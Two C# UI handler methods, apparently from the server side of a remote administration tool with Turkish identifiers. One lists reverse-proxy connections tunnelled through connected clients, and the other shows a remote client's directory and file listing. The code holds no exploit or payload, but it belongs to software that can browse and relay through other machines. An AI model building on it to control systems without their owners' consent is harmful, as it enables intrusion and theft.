private void LvConnections_RetrieveVirtualItem(object sender, RetrieveVirtualItemEventArgs e) { lock (SocksServer) { if (e.ItemIndex < _openConnections.Length) { ReverseProxyClient connection = _openConnections[e.ItemIndex]; e.Item = new ListViewItem(new string[] { connection.Client.EndPoint.ToString(), connection.Client.Value.Ülke, (connection.HostName.Length > 0 && connection.HostName != connection.TargetServer) ? string.Format("{0} ({1})", connection.HostName, connection.TargetServer) : connection.TargetServer, connection.TargetPort.ToString(), DosyaYardımcısı.GetDataSize(connection.LengthReceived), DosyaYardımcısı.GetDataSize(connection.LengthSent), connection.Type.ToString() }) { Tag = connection }; } } }
public static void HandleGetDirectoryResponse(Client client, GetDirectoryResponse packet) { if (client.Value == null || client.Value.FrmFm == null) { return; } new Thread(() => { if (client.Value.ProcessingDirectory) { return; } client.Value.ProcessingDirectory = true; client.Value.FrmFm.ClearFileBrowser(); client.Value.FrmFm.AddItemToFileBrowser("..", "", DizinTürleri.Geri, 0); if (packet.Folders != null && packet.Folders.Length != 0 && client.Value.ProcessingDirectory) { for (int i = 0; i < packet.Folders.Length; i++) { if (packet.Folders[i] != DELIMITER) { if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) { break; } client.Value.FrmFm.AddItemToFileBrowser(packet.Folders[i], "", DizinTürleri.Klasör, 1); } } } if (packet.Files != null && packet.Files.Length != 0 && client.Value.ProcessingDirectory) { for (int i = 0; i < packet.Files.Length; i++) { if (packet.Files[i] != DELIMITER) { if (client.Value == null || client.Value.FrmFm == null || !client.Value.ProcessingDirectory) { break; } client.Value.FrmFm.AddItemToFileBrowser(packet.Files[i], DosyaYardımcısı.GetDataSize(packet.FilesSize[i]), DizinTürleri.Dosya, DosyaYardımcısı.GetFileIcon(Path.GetExtension(packet.Files[i]))); } } } if (client.Value != null) { client.Value.ReceivedLastDirectory = true; client.Value.ProcessingDirectory = false; if (client.Value.FrmFm != null) { client.Value.FrmFm.SetStatus("Hazır"); } } }).Start(); }